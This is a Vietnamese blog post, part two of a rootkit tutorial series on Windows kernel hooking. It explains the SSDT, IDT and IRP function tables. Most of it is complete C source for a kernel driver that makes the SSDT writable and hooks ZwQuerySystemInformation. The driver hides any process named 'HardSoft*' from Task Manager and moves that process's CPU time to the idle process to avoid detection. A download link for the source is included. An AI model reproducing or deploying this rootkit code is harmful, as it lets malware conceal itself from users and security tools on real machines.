Trao đổi với tôi

http://www.buidao.com

7/1/09

[Rootkit] Kỹ thuật biến đổi nhân của Windows – Phần 2 : Nghệ thuật gây đột biến mã(2).

Kỹ thuật biến đổi nhân của Windows – Phần 2 : Nghệ thuật gây đột biến mã(2).

Link gốc:http://hardsoftvn.wordpress.com/category/bai-phan-tich-h%C6%B0%E1%BB%9Bng-d%E1%BA%ABn/

-Như đã giới thiệu ở bài trước , kỹ thuật gây đột biến mã ở vòng số 3 ( nơi chương trình ứng dụng bình thường chạy ) có nhiều điểm yếu như : tốc độ thực thi chậm , dễ bị phát hiện và ngăn chặn (tôi sẽ viết một chuyên đề về việc phát hiện và ngăn chặn mã đột biến cho những bạn mong muốn gia nhập chánh đạo) . Do khó khăn trong việc né tránh các chương trình chống rootkit , các lớp đàn anh đi trước đã nghĩ ra việc xâm nhập vào vòng số 0 và gây đột biến mã trong nhân .Bằng cách thực thi mã trong nhân , rootkit của họ đã đạt trạng thái cân bằng với bất kỳ chương trình chống rootkit nào. Đây là phương pháp phổ biến nhất hiện nay của cả hai phe chánh và tà.

-Việc gây đột biến mã trong nhân có nhiều lợi điểm như : nhanh (do việc tác động vào nhân mang tính toàn cục – nghĩa là nó ảnh hưởng tới toàn bộ hệ thống) , khó phát hiện hơn so với kỹ thuật cũ và quan trọng là nó rất mạnh (làm được nhiều điều mà những kỹ thuật khác không làm được).

-Về mặt an ninh , vòng số không là bất khả xâm phạm ( các bạn có thể tham khảo “Cẩm nang phát triển ứng dụng trên cấu trúc Intel 32″ ,quyển ba, phần 4.8) trứ trường hợp của trình điều khiển thiết bị và cổng gọi .Việc sử dụng trình điều khiển thiết bị nói chung là dễ dàng hơn so với cổng gọi . Tuy nhiên trình điều khiển thiết bị lại rất dễ bị quản lý và bạn không thể sử dụng trình điều khiển thiết bị nếu không có đặc quyền quản lý(admin).Trong khi đó cổng gọi rất khó quản lý , dễ dàng thực thi mã trên vòng số 0 rồi quay trở lại vòng số 3 (thích hợp cho chiến thuật đánh nhanh rút nhanh) , không cần dùng trình điều khiển thiết bị và có thể thực hiện mà không cần bất cứ quyền gì đặc biệt. Với những lợi thế rất lớn như vậy nhưng cổng gọi lại không được sử dụng phổ biến vì tính phức tạp và rủi ro của nó . Trong giới hacker mũ đen ,chỉ có những đàn anh thực thu mới có khả năng áp dụng kỹ thuật này vào rootkit của họ. Trước khi bước vào chi tiết của kỹ thuật gây đột biến mã trong nhân tôi xin nói rõ là kỹ thuật này rất phức tạp và sẽ không thích hợp cho người đọc là người mù chữ, phụ nữ ,trẻ em.

-Hiện nay ba nơi thông dụng nhất cho việc gậy đột biến mã trong nhân là SSDT(System Service Descriptor Table) , IDT (Interrupt Descriptor Table) và MIORPFT (Major I/O Request Packet Function Table).

-Sửa bảng SSDT: Hệ điều hành Windows NT bao gồm nhiều hệ điều hành con như : Win32 , POSIX , OS/2. Mỗi hệ điều hành con sẽ bao gồm nhiều dịch vụ hệ thống chạy trong nhân với từng chức năng chuyên hóa khác nhau .Để dễ quản lý các dịch vụ hệ thống này , Windows đã lập ra một bảng gọi là SSDT (tạm dịch là bảng mô tả dịch vụ hệ thống ). Bảng SSDT lưu lại tất cả những dịa chỉ của tất cả các dịch vụ hệ thống (có khoảng 283 dịch vụ trên WinXp SP2) . Ngoài ra hệ thống cũng sử dụng một bảng gọi là System Service Parameter Table (SSPT) (tạm dịch là “bảng thông số của dịch vụ hệ thống”) với chức năng cung cấp dung lượng của hàm và các thông số tương ứng . Nhằm tăng tốc độ truy xuất của dịch vụ hệ thống , hệ điều hành lại lập ra một bảng thứ ba là KeServiceDescriptorTable. Bảng này thực chất là một dạng mục lục giúp hệ thống truy xuất hai bảng kia nhanh hơn. Như vậy sau khi biết chức năng của bảng SSDT thì các bạn đã nghĩ ra việc tiếp theo phải làm để gây đột biến mã rồi phải không ? Vâng , đó chính là đổi địa chỉ của một hàm bất kỳ trong bảng SSDT sang địa chỉ của một hàm do ta quy định sẵn.

-Tuy nhiên càng về sau thì việc sửa đổi bảng SSDT càng gặp nhiều khó khăn . Một số hệ điều hành như XP , 2003 và Vista có thêm chức năng chống sửa đổi bảng SSDT vì Microsoft cho rằng rất ít có chương trình đàng hoàng nào lại đi thay đổi giá trị của bảng này.Điều này từng gây kho khăn không ít cho những tay mơ . Nếu bạn cố tình sửa đổi bảng SSDT thì một màn hình xanh chết chóc sẽ hiện lên.Để khắc phục điều này các bạn phải thay đổi thanh ghi CR0 nhằm mục đích gỡ bỏ chức năng chống thay đổi vùng nhớ của bảng SSDT. Tuy nhiên việc này khá phức tạp nên tôi sẽ chỉ bạn cách có được đặc quyền thay đổi vùng nhớ .

-Để mô tả một vùng nhớ nào đó , các bạn có thể sử dụng cấu trúc MDL (Memory Descriptor List) như sau :

///////////////////////////////////////////////////////////////////////////////

// trích từ ntddk.h


typedef struct _MDL {

struct _MDL *Next;

CSHORT Size;//dung lượng vùng nhớ

CSHORT MdlFlags;//cờ của vùng nhớ

struct _EPROCESS *Process;//cấu trúc EPROCESS của tiến trình cần xin đặc quyền truy xuất

PVOID MappedSystemVa;


PVOID StartVa;//địa chỉ bắt đầu vùng nhớ

ULONG ByteCount;

ULONG ByteOffset;

} MDL, *PMDL;

//Một số cờ của MDL

#define MDL_MAPPED_TO_SYSTEM_VA 0×0001

#define MDL_PAGES_LOCKED 0×0002


#define MDL_SOURCE_IS_NONPAGED_POOL 0×0004

#define MDL_ALLOCATED_FIXED_SIZE 0×0008

#define MDL_PARTIAL 0×0010

#define MDL_PARTIAL_HAS_BEEN_MAPPED 0×0020

#define MDL_IO_PAGE_READ 0×0040

#define MDL_WRITE_OPERATION 0×0080

#define MDL_PARENT_MAPPED_SYSTEM_VA 0×0100

#define MDL_LOCK_HELD 0×0200

#define MDL_PHYSICAL_VIEW 0×0400


#define MDL_IO_SPACE 0×0800

#define MDL_NETWORK_HEADER 0×1000

#define MDL_MAPPING_CAN_FAIL 0×2000

#define MDL_ALLOCATED_MUST_SUCCEED 0×4000

///////////////////////////////////////////////////////////////////////////////

-Đoạn mã sau sẽ phân quyền cho tiến trình của bạn chỉnh sửa bảng SSDT

///////////////////////////////////////////////////////////////////////////////

// Cấu trúc bảng SSDT

#pragma pack(1)


typedef struct ServiceDescriptorEntry {

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} SSDT_Entry;

#pragma pack()


__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

PMDL g_pmdlSystemCall;

PVOID *MappedSystemCallTable;

// Sao chép vùng nhớ của bảng SSDT vào cấu trúc MDL nhằm mục đích đổi cờ

g_pmdlSystemCall = MmCreateMdl(NULL,

KeServiceDescriptorTable.ServiceTableBase,

KeServiceDescriptorTable.NumberOfServices*4);

if(!g_pmdlSystemCall)


return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

// Đổi cờ cảu cấu trúc MDL

g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |

MDL_MAPPED_TO_SYSTEM_VA;

MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

///////////////////////////////////////////////////////////////////////////////


-Có một số dịch vụ hệ thống rất thích hợp cho việc tác động tới bảng SSDT . Dịch vụ SYSTEMSERVICE có nhiệm vụ lấy địa chỉ của các hàm Zw* do ntoskrnl.exe ( Đại diện cho nhân của hệ thống) xuất ra và trả về giá trị tương ứng của các hàm Nt* này trong bảng SSDT . Hai loại hàm Nt* và Zw* thật ra chỉ là một . Tuy nhiên trong vòng số 0 thường hay xài hàm Zw* còn trong vòng số 3 lại hay xài hàm Nt* .Dịch vụ SYSTEMSERVICE đóng vai trò như một thông dịch viên giúp những tiến trình ở vòng số ba biết chỗ nào để gọi hàm Nt*.Một dịch vụ hệ thống khác là SYSCALL_INDEX cũng rất thích hợp để gây đột biến . Qua đó giúp ta dễ dàng sửa bảng SSDT . SYSCALL_INDEX lấy địa chỉ của hàm Zw*do ntoskrnl.exe xuất ra và trả về thứ tự tương ứng của hàm trong bảng SSDT .Như vậy khi gây đột biến mã ở hai dịch vụ này các bạn sẽ theo dõi được hàm nào sắp được gọi lên (thông qua số thứ tự do SYSCALL_INDEX cung cấp, vì mỗi số thứ tự thường ứng với một hàm định sẵn và thường không đổi qua các hệ điều hành NT) , từ đó dưới vai trò của dịch vụ SYSTEMSERVICE (lúc này đã bị đột biến) ta sẽ trả về địa chỉ hàm do ta viết . Đây là cách mà phần mềm RegMon , FileMon sử dụng để theo dõi hệ thống .

-Ở kỳ trước, tôi có nói về một ví dụ gây đột biến hàm ZwQuerySystemInformation nhưng không nói rõ chức năng của hàm này . Nhân bài viết này tôi sẽ nói rõ hơn về nó. Hàm ZwQuerySystemInformation là một hàm tổng hợp rất nhiều thông tin về hệ thống như danh sách các tiến trình trong vòng số 3 , số vi xử lý của hệ thống , các tài nuyên hệ thống như RAM , mức độ sử dụng CPU … Hàm này được chương trình Task Manager sử dụng nhiều nhất . Vì vậy tứ khi mới ra đời nó đã là mục tiêu của rất nhiều người . Theo Microsoft , hàm này có thể sẽ bị loại bỏ trong Windows Vista .

-Sau là mã nguồn của trình điều khiển thiết bị có mục đích là ẩn tất cả tiến trình có tên bắt đầu bằng “HardSoft”. Một số đoạn mã được trích từ phần mềm RegMon của Mark Russinovich và Bryce Cogswell :

///////////////////////////////////////////////////////////////////////////////

#include “ntddk.h”


#pragma pack(1)

// cấu trúc bảng SSDT

typedef struct ServiceDescriptorEntry {

unsigned int *ServiceTableBase;


unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

#pragma pack()

//khai báo về dịch vụ SYSTEMSERVICE

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;


#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


PMDL g_pmdlSystemCall;

PVOID *MappedSystemCallTable;

//khai báo về dịch vụ SYSCALL_INDEX

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

//Khai báo cấu trúc của hàm SYSCALL_INDEX bị đột biến với mục đích thay đổi bảng SSDT

#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \

_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)


//Khai báo cấu trúc của hàm SYSCALL_INDEX bị đột biến với mục đích phục hồi bảng SSDT

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \

InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

//cấu trúc của chỉ tiến trình hệ thống

struct _SYSTEM_THREADS

{

LARGE_INTEGER KernelTime;


LARGE_INTEGER UserTime;

LARGE_INTEGER CreateTime;

ULONG WaitTime;

PVOID StartAddress;

CLIENT_ID ClientIs;

KPRIORITY Priority;


KPRIORITY BasePriority;

ULONG ContextSwitchCount;

ULONG ThreadState;

KWAIT_REASON WaitReason;

};

// cấu trúc của tiến trình hệ thống (dịch vụ hệ thống)

struct _SYSTEM_PROCESSES


{

ULONG NextEntryDelta;

ULONG ThreadCount;

ULONG Reserved[6];

LARGE_INTEGER CreateTime;

LARGE_INTEGER UserTime;


LARGE_INTEGER KernelTime;

UNICODE_STRING ProcessName;

KPRIORITY BasePriority;

ULONG ProcessId;

ULONG InheritedFromProcessId;

ULONG HandleCount;


ULONG Reserved2[2];

VM_COUNTERS VmCounters;

IO_COUNTERS IoCounters;

struct _SYSTEM_THREADS Threads[1];

};


//cấu trúc thông tin về tốc độ vi xử lý

struct _SYSTEM_PROCESSOR_TIMES


{

LARGE_INTEGER IdleTime;

LARGE_INTEGER KernelTime;

LARGE_INTEGER UserTime;

LARGE_INTEGER DpcTime;

LARGE_INTEGER InterruptTime;


ULONG InterruptCount;

};


// khai báo hàm ZwQuerySystemInformation

NTSYSAPI

NTSTATUS

NTAPI ZwQuerySystemInformation(

IN ULONG SystemInformationClass,

IN PVOID SystemInformation,


IN ULONG SystemInformationLength,

OUT PULONG ReturnLength);


// cấu trúc hàm ZwQuerySystemInformation bị đột biến

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(

ULONG SystemInformationCLass,

PVOID SystemInformation,

ULONG SystemInformationLength,


PULONG ReturnLength

);


ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;


LARGE_INTEGER m_UserTime;

LARGE_INTEGER m_KernelTime;


// hàm ZwQuerySystemInformation bị đột biến có nhiệm vụ lọc thông tin về các tiến trình

// và lọai bỏ tất cả những tiến trình bằng đầu bằng “HardSoft”

NTSTATUS NewZwQuerySystemInformation(


IN ULONG SystemInformationClass,

IN PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength)

{


NTSTATUS ntStatus;


// gọi hàm ZwQuerySystemInformation lúc chưa bị đột biến

ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

SystemInformationClass,

SystemInformation,

SystemInformationLength,

ReturnLength );



if( NT_SUCCESS(ntStatus))

{

//Nếu thông tin cần lấy là danh sách cá tiến trình thì …

if(SystemInformationClass == 5)

{

struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;


struct _SYSTEM_PROCESSES *prev = NULL;

//chạy từ trong ra noài và kiếm xem tiến trình nào

//có tên bắt đầu bằng “HardSoft”

while(curr)

{

if (curr->ProcessName.Buffer != NULL)


{

if(0 == memcmp(curr->ProcessName.Buffer, L”HardSoft”, 12))

{

//Bỏ bớt một tiến trình trong danh sách đươc ZwQuerySystemInformation trả về

m_UserTime.QuadPart += curr->UserTime.QuadPart;


m_KernelTime.QuadPart += curr->KernelTime.QuadPart;


if(prev) // chúng ta đang ở giữa danh sách hay ở cuối ?

{

if(curr->NextEntryDelta)

prev->NextEntryDelta += curr->NextEntryDelta;


else //đang ở cuối danh sách nên chúng ta sẽ làm cho cái kế cuối thành cuối

prev->NextEntryDelta = 0;

}

else

{

if(curr->NextEntryDelta)


{

// đang ở giữa nên chúng ta sẽ bỏ qua cái này và

// tiếp tục di chuyển tới

(char *)SystemInformation += curr->NextEntryDelta;

}

else //Điều này không thể tin nổi !


SystemInformation = NULL;

}

}

}

else //Đây là tiến trình IdleProcess

{


//Một số tinh chỉnh nhỏ

//nhằm giảm bớt nguy cơ bị phát hiện.

curr->UserTime.QuadPart += m_UserTime.QuadPart;

curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;


}

prev = curr;

if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

else curr = NULL;

}


}

else if (SystemInformationClass == 8 ) //Thôn tin cần lấy là thời gian tôn tại của các tiến trình

{

struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;

}


}

return ntStatus;

}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)

{

DbgPrint(”Good bye ! Cruel world!\n”);


// phục hồi bảng SSDT


UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );


//Bỏ đặc quyền cho phép ta sửa vùng nhớ của bảng SSDT

if(g_pmdlSystemCall)

{

MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);

IoFreeMdl(g_pmdlSystemCall);


}

}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,

IN PUNICODE_STRING theRegistryPath)

{

// Đăng ký hàm để đảm nhận việc tháo bỏ trình điều khiển thiết bị

theDriverObject->DriverUnload = OnUnload;



//Khởi tạo thời gian của bộ vi xử lý nhằm tránh việc người dùng nghi ngờ về k

//hỏang thiếu hụt về tốc độ do tiến trình ẩn gây ra

m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;


// Lưu lại địa chỉ của hàm ZwQuerySystemInformation chính thống

OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));


// Ánh xạ vùng nhớ của hàm ZwQuerySystemInformation chính htống vào MDL để tiện việc thay cờ


g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);

if(!g_pmdlSystemCall)

return STATUS_UNSUCCESSFUL;


MmBuildMdlForNonPagedPool(g_pmdlSystemCall);


// Thay cờ của MDL

g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;



MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);


//Gây đột biến cho hàm ZwQuerySystemInformation

HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );


return STATUS_SUCCESS;

}

///////////////////////////////////////////////////////////////////////////////

-Để có thể xem tác dụng của trình điều khiển thiết bị này các bạn có thể sử dụng Driver Installer đã giới thiệu ở bài 1 . Khi trình điều khiển thiết bị được nạp vào vòng số 0 thì bất kỳ tiến trình nào bắt đầu bằng


“HardSoft” sẽ được ẩn trong Task Manager.

-Hai nơi còn lại là IDT và MIORPFT sẽ được trình bày trong phần tiếp theo.

-Tòan bộ mã nguồn các bạn có thể tải tại http://www.freewebtown.com/khoalhp261/sample2-1.zip


Đăng bởi Trần Hữu Đăng Khoa